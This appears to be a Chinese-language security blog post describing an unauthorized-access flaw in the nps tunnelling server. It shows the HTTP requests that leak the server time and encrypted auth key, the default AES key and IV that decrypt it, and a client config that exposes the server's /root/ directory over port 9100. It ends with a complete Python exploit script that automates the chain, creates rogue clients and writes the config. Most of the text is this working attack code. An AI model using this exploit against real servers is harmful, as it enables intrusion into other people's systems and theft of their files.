nps未授权访问
根据GitHub上的脚本,得知auth_key基本都是本地MD5加密得来的,但在一些系统上测试失败,后来发现是本地和服务器的时间有问题,所以查了一下文档,发现有直接获取时间戳和加密密钥的地方。
POST /auth/gettime HTTP/1.1
Host: 192.168.70.250:18080
Content-Length: 7
Connection: close
Cookie:beegosessionID=xxxxx
search=
返回一个json字段,里面包含服务器的时间戳。
POST /auth/getauthkey HTTP/1.1
Host: 192.168.70.250:18080
Content-Length: 7
Connection: close
Cookie:beegosessionID=xxxxx
search=
返回加密的auth_key,这个key是配置文件内的key,也就是默认为注释掉的那个。并不能直接拿来使用,如果这个值为5acabcf051cd55abca03d18294422e01
,说明为空,如果为其他说明被修改过,这时候就要算auth_crypt_key的值是不是也被修改了,如果没有则可以
AES-CBC pkcs5 128位 key=1234567812345678 iv=1234567812345678 hex
进行解密,也就是说至少要有一个auth_crypt_key没被修改或已知。
如果到此处可以未授权访问,那么就可以查看客户端信息,来获取VerifyKey,获取这个东西目的是为了把客户吨连接到服务端。也就是返回中的这一段值
"Id": 2,
"VerifyKey": "6sabs7dyn4rf1oob",
"Addr": "192.168.70.250",
"Remark": "",
"Status": true,
"IsConnect": true,
构造一个配置文件,其中的8024位默认的端口,需要在服务端的配置文件中修改,不对的话没事,访问首页去查看一下就行。
[common]
server_addr=1.1.1.1:8024
vkey=123
[file]
mode=file
server_port=9100
local_path=/root/
strip_pre=/web/
这样就可以把客户端加入,并且构造了一个访问服务端文件的地址。地址就会映射到本地文件系统上。
xxx:9100/web
编写一个脚本来统一这个过程。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2022/8/16 14:13
# @Author : misakikata
# @File : nps_bypass.py
# @Description : autoremove
import argparse
import requests
import json,sys
import hashlib
from Crypto.Cipher import AES
# from urllib.parse import urlparse
from binascii import a2b_hex
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
headers = {
"Cookie":"beegosessionID=2313ba62226729bf9bb0b9680da80a5f",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
"Accept":"application/json, text/javascript, */*; q=0.01"
}
file_w = """[common]
server_addr={host}:8024
vkey={vkey}
[file]
mode=file
server_port=9100
local_path=/root/
strip_pre=/web/
"""
def get_time(host):
url = host + "/auth/gettime"
r = requests.post(url, headers=headers, data={"search":""})
time = json.loads(r.text)['time']
return time
def gen_authkey(authkey, timestamp):
mdf = hashlib.md5()
mdf.update((authkey+str(timestamp)).encode('utf-8'))
auth_key = mdf.hexdigest()
return auth_key
def get_key(host):
url = host + "/auth/getauthkey"
r = requests.post(url, headers=headers, data={"search": ""})
key = json.loads(r.text)['crypt_auth_key']
if key == "5acabcf051cd55abca03d18294422e01":
authkey = ""
else:
if deco_key("1234567812345678", key):
authkey = deco_key("1234567812345678", key)
else:
return False
return authkey
def add_to_16(value):
while len(value.encode('utf-8')) % 16 != 0:
value += '\x00'
return value.encode('utf-8')
def deco_key(key0,data):
try:
aes = AES.new(key=add_to_16(key0), mode=AES.MODE_CBC, iv=key0.encode())
decryptedstr = aes.decrypt(a2b_hex(data)).decode().strip()
return decryptedstr
except:
return False
def gen_conf(host, vkey):
host = host.split(':')[0:2]
file = file_w.format(host=''.join(host), vkey=vkey)
with open("config.ini", 'w') as f:
f.write(file)
return True
def get_vkey(host, data):
url = host + "/client/list"
r = requests.post(url, headers=headers, data=data)
if r.status_code == 200:
try:
vkey = json.loads(r.text)['rows'][0]['VerifyKey']
return vkey
except:
if gen_client(host, data):
print("无客户端,创建客户端成功")
r = requests.post(url, headers=headers, data=data)
vkey = json.loads(r.text)['rows'][0]['VerifyKey']
return vkey
else:
return False
else:
return False
def gen_client(host, data):
url = host + "/client/add"
data = "remark=&u=&p=&vkey=&config_conn_allow=1&compress=0&crypt=0&"+data
r = requests.post(url, headers=headers, data=data)
if r.status_code == 200:
if json.loads(r.text)['status'] == 1:
return True
return False
def main(host):
times = get_time(host)
if get_key(host):
getkey = get_key(host)
else:
print(host+" 解密失败!")
sys.exit(0)
auth_key = gen_authkey(getkey, times)
data = "auth_key={auth_key}×tamp={timestamp}&start=0&limit=10".format(auth_key=auth_key,timestamp=times)
r = requests.post(host, headers=headers, data=data)
if r.status_code == 200:
print(host+" is vuln!")
if get_vkey(host, data):
vkey = get_vkey(host, data)
if gen_conf(host, vkey):
print("请运行nps客户端命令:./npc -config=config.ini,并访问{host}:9100/web".format(host=''.join(host.split(':')[0:2])))
else:
print("未创建客户端或者获取失败!")
else:
print(host+" not is vuln!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description="NPS Bypass")
parser.add_argument('-u', '--url', type=str,
help="单个url检测,默认密钥进行解密")
args = parser.parse_args()
if len(sys.argv) == 3:
if sys.argv[1] in ['-u', '--url']:
main(args.url)
else:
parser.print_help()